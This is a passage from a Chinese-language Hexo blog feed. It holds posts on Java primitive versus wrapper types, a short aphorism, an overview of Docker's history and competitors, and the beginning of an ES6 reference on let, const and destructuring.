java"><table><tr><td class="code"><pre><span class="line"><span class="type">Integer</span> <span class="variable">count</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"><span class="type">int</span> <span class="variable">total</span> <span class="operator">=</span> count + <span class="number">1</span>;  <span class="comment">// NPE！</span></span><br></pre></td></tr></table></figure><p><strong>防御性写法</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Integer</span> <span class="variable">count</span> <span class="operator">=</span> getCount();</span><br><span class="line"><span class="type">int</span> <span class="variable">total</span> <span class="operator">=</span> (count != <span class="literal">null</span> ? count : <span class="number">0</span>) + <span class="number">1</span>;</span><br><span class="line"><span class="comment">// 或 Java 8+</span></span><br><span class="line"><span class="type">int</span> <span class="variable">total</span> <span class="operator">=</span> Optional.ofNullable(count).orElse(<span class="number">0</span>) + <span class="number">1</span>;</span><br></pre></td></tr></table></figure><h2 id="性能考量"><a href="#性能考量" class="headerlink" title="性能考量"></a>性能考量</h2><p>包装类比基本类型多占用内存（对象头约 12 字节），在大量计算场景下：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 性能较差</span></span><br><span class="line"><span class="type">Long</span> <span class="variable">sum</span> <span class="operator">=</span> <span class="number">0L</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; Integer.MAX_VALUE; i++) &#123;</span><br><span class="line">    sum += i;  <span class="comment">// 频繁装箱拆箱</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 性能好</span></span><br><span class="line"><span class="type">long</span> <span class="variable">sum</span> <span class="operator">=</span> <span class="number">0L</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; Integer.MAX_VALUE; i++) &#123;</span><br><span class="line">    sum += i;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践总结"><a href="#最佳实践总结" class="headerlink" title="最佳实践总结"></a>最佳实践总结</h2><ol><li><strong>优先使用基本类型</strong>：局部变量、方法参数、返回值尽量用基本类型</li><li><strong>集合必须使用包装类</strong>：泛型约束</li><li><strong>比较用 equals</strong>：不要用 == 比较包装类</li><li><strong>注意空指针</strong>：拆箱前判空</li><li><strong>API 设计</strong>：如果字段可能缺失，用包装类；否则用基本类型</li></ol><p>理解基本类型与包装类的差异，是写出健壮 Java 代码的基础。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>人们以为自己在思考，其实是在重新编排自己的偏见。</title>
      <link href="/2023/03/02/nan-huai-jin-jing-dian-yu-lu-copy/"/>
      <url>/2023/03/02/nan-huai-jin-jing-dian-yu-lu-copy/</url>
      
        <content type="html"><![CDATA[<p>人们以为自己在思考，其实是在重新编排自己的偏见。</p>]]></content>
      
      
      
        <tags>
            
            <tag> 经典语录 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Docker虚拟化技术的历史、现状与发展趋势</title>
      <link href="/2022/01/30/docker/"/>
      <url>/2022/01/30/docker/</url>
      
        <content type="html"><![CDATA[<h3 id="Docker虚拟化技术的历史、现状与发展趋势"><a href="#Docker虚拟化技术的历史、现状与发展趋势" class="headerlink" title="Docker虚拟化技术的历史、现状与发展趋势"></a>Docker虚拟化技术的历史、现状与发展趋势</h3><h4 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h4><p>随着云计算技术的发展，容器技术逐渐成为现代软件开发和部署中不可或缺的一部分。Docker作为最流行的容器化平台之一，以其轻量级、高效的特点受到了广泛的关注和应用。本文将对Docker虚拟化技术的历史背景、当前发展状况及未来趋势进行深入探讨，并结合竞品分析，为读者提供全面的视角。</p><h4 id="历史背景"><a href="#历史背景" class="headerlink" title="历史背景"></a>历史背景</h4><ul><li><strong>早期探索（2008-2013）</strong>：容器技术的概念可以追溯到2008年的LXC（Linux Containers），它为Linux操作系统提供了轻量级的虚拟化解决方案。然而，LXC在管理和使用上存在一定的复杂性，限制了其广泛应用。</li><li><strong>Docker诞生（2013）</strong>：2013年，Docker公司（原名dotCloud）推出了Docker容器技术，通过标准化的容器镜像格式和简便的命令行工具，极大地简化了容器的创建、管理和部署过程。这一创新迅速吸引了开发者和企业的关注。</li><li><strong>快速发展（2014-2016）</strong>：2014年，Docker发布1.0版本，标志着该技术进入成熟阶段。同年，Docker宣布与微软合作，将Docker支持扩展到Windows系统。2015年，Docker推出Docker Swarm集群管理工具，进一步增强了其在企业级应用中的竞争力。2016年，Docker发布了Docker Compose工具，使得多容器应用的管理和部署变得更加简单。</li><li><strong>生态构建（2017至今）</strong>：近年来，Docker不断完善其生态系统，推出了Docker Hub镜像仓库、Docker Trusted Registry私有仓库等服务。同时，Docker还积极参与开源社区建设，推动了Kubernetes、Mesos等容器编排系统的普及和发展。</li></ul><h4 id="当前发展状况"><a href="#当前发展状况" class="headerlink" title="当前发展状况"></a>当前发展状况</h4><ul><li><strong>市场接受度</strong>：根据调研机构的数据显示，Docker已成为全球最受欢迎的容器化平台之一。在GitHub上，Docker项目拥有超过10万颗星，表明了广泛的社区支持和技术认可。</li><li><strong>应用场景</strong>：Docker广泛应用于微服务架构、持续集成/持续交付（CI/CD）、DevOps等领域。许多大型企业和初创公司都采用了Docker来优化开发流程、提高部署效率和降低成本。</li><li><strong>技术创新</strong>：Docker不断推出新功能和技术改进，如Docker BuildKit、Docker Security Scanner等，以满足用户日益增长的需求。此外，Docker还积极与其他技术和工具集成，如Kubernetes、Jenkins等，形成了强大的生态系统。</li></ul><h4 id="竞品分析"><a href="#竞品分析" class="headerlink" title="竞品分析"></a>竞品分析</h4><ul><li><strong>Kubernetes (k8s)</strong>：Kubernetes是由Google开发的开源容器编排系统，旨在自动化容器化应用程序的部署、扩展和管理。与Docker相比，Kubernetes更侧重于大规模集群管理和多节点调度，适用于复杂的企业级应用。然而，Kubernetes的学习曲线较高，配置和操作相对复杂。</li><li><strong>Amazon ECS (Elastic Container Service)</strong>：Amazon ECS是AWS提供的完全托管的容器编排服务，支持Docker容器。它允许用户轻松地运行和扩展容器化应用程序，而无需担心底层基础设施。与Docker相比，ECS更适合于已经使用AWS云服务的企业。</li><li><strong>Azure Kubernetes Service (AKS)</strong>：Azure Kubernetes Service是微软Azure提供的托管Kubernetes服务，旨在简化Kubernetes的部署和管理。与Docker相比，AKS更加专注于云原生应用的开发和运维，提供了丰富的集成工具和服务。</li><li><strong>Rancher</strong>：Rancher是一个开源的企业级Kubernetes管理平台，支持多种容器编排引擎，包括Docker Swarm、Kubernetes和Mesos。与Docker相比，Rancher提供了更多的管理和监控功能，适合需要跨多个集群和环境的企业。</li></ul><h4 id="发展趋势"><a href="#发展趋势" class="headerlink" title="发展趋势"></a>发展趋势</h4><ul><li><strong>安全性增强</strong>：随着容器技术的广泛应用，安全问题越来越受到重视。未来，Docker将继续加强容器的安全机制，如容器镜像签名验证、运行时安全监控等，以确保用户数据和应用的安全。</li><li><strong>性能优化</strong>：为了满足高性能计算和大规模分布式系统的需求，Docker将不断优化容器的启动速度、资源利用率和网络通信效率。</li><li><strong>边缘计算</strong>：随着物联网（IoT）和5G技术的发展，边缘计算成为新的热点领域。Docker将在边缘设备上提供轻量级的容器运行环境，支持实时数据分析和智能决策。</li><li><strong>多云和混合云支持</strong>：为了帮助企业更好地管理和迁移多云环境中的应用，Docker将进一步增强对多云和混合云的支持，提供统一的管理和部署工具。</li><li><strong>人工智能集成</strong>：未来，Docker将与人工智能技术深度融合，支持机器学习模型的快速训练和部署，助力企业实现智能化转型。</li></ul><h4 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h4><p>Docker虚拟化技术自诞生以来，凭借其轻量级、高效的特点迅速崛起，成为现代软件开发和部署的重要工具。随着技术的不断进步和应用场景的拓展，Docker将继续引领容器技术的发展潮流，为企业和个人带来更多的价值和便利。</p><h4 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h4><ol><li>Docker官方网站: <a href="https://www.docker.com/">https://www.docker.com/</a></li><li>Kubernetes官方网站: <a href="https://kubernetes.io/">https://kubernetes.io/</a></li><li>AWS ECS文档: <a href="https://aws.amazon.com/ecs/">https://aws.amazon.com/ecs/</a></li><li>Azure AKS文档: <a href="https://azure.microsoft.com/en-us/services/kubernetes-service/">https://azure.microsoft.com/en-us/services/kubernetes-service/</a></li><li>Rancher官方网站: <a href="https://rancher.com/">https://rancher.com/</a></li></ol>]]></content>
      
      
      <categories>
          
          <category> docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ES6参考手册简化版</title>
      <link href="/2021/08/18/es6-can-kao-shou-ce-jian-hua-ban/"/>
      <url>/2021/08/18/es6-can-kao-shou-ce-jian-hua-ban/</url>
      
        <content type="html"><![CDATA[<h1 id="ES6简介"><a href="#ES6简介" class="headerlink" title="ES6简介"></a>ES6简介</h1><blockquote><p><strong>ECMAScript 6.0（以下简称 ES6）是 JavaScript 语言的下一代标准，已经在 2015 年 6 月正式发布了，也叫ECMAScript 2015</strong></p></blockquote><h1 id="块级作用域"><a href="#块级作用域" class="headerlink" title="块级作用域"></a>块级作用域</h1><h2 id="ES5作用域缺陷"><a href="#ES5作用域缺陷" class="headerlink" title="ES5作用域缺陷"></a>ES5作用域缺陷</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> a = <span class="string">&#x27;hello&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// Uncaught ReferenceError: a is not defined</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 解析：变量a只在函数作用域中有效，a在块级作用域&#123;&#125;里面</span></span><br></pre></td></tr></table></figure><p>ES6之前 只有<code>全局作用域</code>和<code>函数作用域</code>，没有块级作用域，带来很多不合理的场景</p><p><strong>第一种场景</strong></p><p>内层变量可能会覆盖外层变量</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="string">&#x27;aaa&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 预解析：就是在浏览器解析代码之前，把变量的声明和函数的声明提升到该作用域的最上面</span></span><br><span class="line">  <span class="keyword">if</span> (<span class="literal">false</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> a = <span class="string">&#x27;bbb&#x27;</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p>相当于</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="string">&#x27;aaa&#x27;</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> a;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 变量声明了但没有赋值，结果是undefined</span></span><br><span class="line">  <span class="keyword">if</span> (<span class="literal">false</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> a = <span class="string">&#x27;bbb&#x27;</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>第二种场景</strong></p><p>用来计数的循环变量泄露为全局变量</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; <span class="number">5</span>; i++) &#123;</span><br><span class="line">  <span class="comment">// code</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(i); <span class="comment">// 5 由于i没有采用块级作用域，那么i的作用域是全局的，打印结果是5</span></span><br></pre></td></tr></table></figure><p><strong>解决办法</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">5</span>; i++) &#123;</span><br><span class="line">  <span class="comment">// code</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(i); <span class="comment">// Uncaught ReferenceError: i is not defined</span></span><br></pre></td></tr></table></figure><h2 id="ES6块级作用域"><a href="#ES6块级作用域" class="headerlink" title="ES6块级作用域"></a>ES6块级作用域</h2><ul><li>花括号 {} 和其中代码生成一个块</li><li>在块中，<strong>let</strong>和<strong>const</strong>声明的变量和常量对外都是不可见的，称之为块级作用域</li><li>只有使用<strong>let</strong>和<strong>const</strong>声明的变量或者常量在块中对外不可见，<strong>var</strong>声明的变量对外依然可见</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">let</span> a = <span class="number">5</span>;</span><br><span class="line">  <span class="keyword">if</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> a = <span class="number">10</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// 5</span></span><br></pre></td></tr></table></figure><p>上面的函数有两个代码块，都声明了变量n，运行后输出 5，这表示外层代码块不受内层代码块的影响。如果两次都使用var定义变量n，最后输出的值才是 10</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> a = <span class="number">5</span>;</span><br><span class="line">  <span class="keyword">if</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>() <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><h1 id="let-和-const"><a href="#let-和-const" class="headerlink" title="let 和 const"></a>let 和 const</h1><h2 id="let"><a href="#let" class="headerlink" title="let"></a>let</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 用来声明变量</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">let</span> num = <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">let</span> str = <span class="string">&#x27;hello world&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 不可以重复声明</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">let</span> a = <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">let</span> a = <span class="number">2</span>; <span class="comment">// Uncaught SyntaxError: Identifier &#x27;a&#x27; has already been declared</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 不存在变量提升</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// ReferenceError: a is not defined</span></span><br><span class="line">  <span class="keyword">let</span> a = <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 只在声明所在的块级作用域内有效</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">let</span> a = <span class="number">1</span>;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line">  <span class="keyword">var</span> b = <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// Uncaught ReferenceError: a is not defined</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 2</span></span><br></pre></td></tr></table></figure><p>示例</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">  <span class="keyword">let</span> a = <span class="number">20</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// Uncaught ReferenceError: Cannot access &#x27;a&#x27; before initialization</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 解析：初始化前无法访问a</span></span><br></pre></td></tr></table></figure><h2 id="const"><a href="#const" class="headerlink" title="const"></a>const</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 用来声明常量（不可改，只读）</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">const</span> <span class="variable constant_">PI</span> = <span class="number">3.14</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 不可以重新赋值</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">const</span> a = <span class="number">1</span>;</span><br><span class="line">  a = <span class="number">2</span>; <span class="comment">// Uncaught TypeError: Assignment to constant variable.</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 声明的时候必须初始化（赋值）</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">const</span> a;</span><br><span class="line">  a = <span class="number">10</span>; <span class="comment">// Uncaught SyntaxError: Missing initializer in const declaration</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 不可以重复声明</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">const</span> a = <span class="number">10</span>;</span><br><span class="line">  <span class="keyword">const</span> a = <span class="number">20</span>; <span class="comment">// Uncaught SyntaxError: Identifier &#x27;a&#x27; has already been declared</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 不存在变量提升</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// Uncaught ReferenceError: a is not defined</span></span><br><span class="line">  <span class="keyword">const</span> a = <span class="number">5</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 只在声明的块级作用域内有效</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">const</span> a = <span class="number">10</span>;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 10</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// Uncaught ReferenceError: a is not defined</span></span><br></pre></td></tr></table></figure><p>复合类型的数据（主要是对象和数组），可以这样子变动（它们在栈中的引用地址没变）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="keyword">const</span> obj = &#123;&#125;;</span><br><span class="line">    obj.<span class="property">name</span> = <span class="string">&#x27;abc&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 将 foo 指向另一个对象，就会报错</span></span><br><span class="line">    obj = &#123;&#125;; <span class="comment">// Uncaught TypeError: Assignment to constant variable</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="keyword">const</span> arr = [];</span><br><span class="line">    arr.<span class="title function_">push</span>(<span class="number">123</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="区别"><a href="#区别" class="headerlink" title="区别"></a>区别</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 相同点：</span></span><br><span class="line"><span class="number">1.</span> 都不存在变量提升</span><br><span class="line"><span class="number">2.</span> 都只在声明的块级作用域内有效</span><br><span class="line"></span><br><span class="line"><span class="comment">// 不同点：</span></span><br><span class="line"><span class="number">1.</span> 声明类型： <span class="keyword">let</span> 声明变量， <span class="keyword">const</span> 声明常量</span><br><span class="line">  <span class="number">2.</span> 赋值时机： <span class="keyword">let</span> 可以声明变量与给变量赋值分开，使用 <span class="keyword">const</span> 声明常量的时候必须同时赋值，否则报错</span><br></pre></td></tr></table></figure><p><strong>推荐</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 对于 数值、字符串、布尔值 经常会变的，用 let 声明</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">let</span> num = <span class="number">10</span>;</span><br><span class="line">    <span class="keyword">let</span> str = <span class="string">&#x27;abc&#x27;</span>;</span><br><span class="line">    <span class="keyword">let</span> flag = <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 对象、数组和函数用 const 来声明</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">const</span> obj = &#123;&#125;;</span><br><span class="line">    <span class="keyword">const</span> arr = [];</span><br><span class="line">    <span class="keyword">const</span> fn = <span class="keyword">function</span>(<span class="params"></span>) &#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="解构赋值"><a href="#解构赋值" class="headerlink" title="解构赋值"></a>解构赋值</h1><h2 id="数组解构赋值"><a href="#数组解构赋值" class="headerlink" title="数组解构赋值"></a>数组解构赋值</h2><p><strong>一次性声明多个变量</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> [a, b, c, d] = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 2</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(c); <span class="comment">// 3</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(d); <span class="comment">// undefined</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>结合扩展运算符</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> [a, b, ...c] = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 2</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(c); <span class="comment">// [3, 4, 5]</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>允许指定默认值</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> [a, b, c = <span class="number">3</span>] = [<span class="number">1</span>, <span class="number">2</span>];</span><br><span class="line">  </span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 2</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(c); <span class="comment">// 3</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> [a, , , b] = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a, b); <span class="comment">// 1, 4</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> [a, , ...b] = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a, b); <span class="comment">// 1, [3, 4, 5]</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>应用场景</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 变量交换</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">let</span> b = <span class="number">2</span>;</span><br><span class="line">[a, b] = [b, a];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a, b); <span class="comment">// 2, 1</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="对象解构赋值"><a href="#对象解构赋值" class="headerlink" title="对象解构赋值"></a>对象解构赋值</h2><p>数组中，变量的取值由它 <strong>排列的位置</strong> 决定；而对象中，变量必须与 <strong>属性</strong> 同名，才能取到正确的值</p><p><strong>变量与属性同名</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> &#123; a, b &#125; = &#123; <span class="attr">a</span>: <span class="number">1</span>, <span class="attr">b</span>: <span class="number">2</span> &#125;;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 2</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="keyword">let</span> obj = &#123; <span class="attr">b</span>: <span class="number">2</span>, <span class="attr">a</span>: <span class="number">1</span> &#125;;</span><br><span class="line"><span class="keyword">let</span> &#123; a, b, c &#125; = obj;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 2</span></span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(c); <span class="comment">// undefined</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>允许指定默认值</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> &#123; a, b = <span class="number">2</span> &#125; = &#123; <span class="attr">a</span>: <span class="number">1</span> &#125;;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// 2</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>允许重命名</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="keyword">let</span> &#123; <span class="attr">a</span>: res &#125; = &#123; <span class="attr">a</span>: <span class="number">1</span>, <span class="attr">b</span>: <span class="number">2</span> &#125;;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// ReferenceError: a is not defined （原名a变无效）</span></span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(res); <span class="comment">// 1</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="函数参数解构赋值"><a href="#函数参数解构赋值" class="headerlink" title="函数参数解构赋值"></a>函数参数解构赋值</h2><p><strong>函数参数的默认值</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a = <span class="number">1</span>, b = <span class="number">2</span></span>)&#123;</span><br><span class="line"><span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>() <span class="comment">// 3  默认 a = 1, b = 2</span></span><br><span class="line"><span class="title function_">fn</span>(<span class="number">3</span>) <span class="comment">// 5  因为 a = 3, b = 2</span></span><br><span class="line"><span class="title function_">fn</span>(<span class="number">3</span>，<span class="number">3</span>) <span class="comment">// 6  因为 a = 3, b = 3</span></span><br></pre></td></tr></table></figure><p><strong>函数参数的默认值（对象参数）</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">&#123;a = <span class="number">1</span>, b = <span class="number">2</span>&#125; = &#123;&#125;</span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a, b);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// 1 2</span></span><br><span class="line"><span class="title function_">fn</span>(&#123; <span class="attr">a</span>: <span class="number">2</span>&#125;); <span class="comment">// 2 2</span></span><br><span class="line"><span class="title function_">fn</span>(&#123; <span class="attr">a</span>: <span class="number">3</span>, <span class="attr">b</span>: <span class="number">6</span>&#125;); <span class="comment">// 3 6</span></span><br></pre></td></tr></table></figure><h2 id="字符串解构"><a href="#字符串解构" class="headerlink" title="字符串解构"></a>字符串解构</h2><p>字符串也可以解构赋值，这是因为此时，字符串被转换成了一个类似数组的对象</p><p><strong>字符串解构</strong></p><figure class="highlight 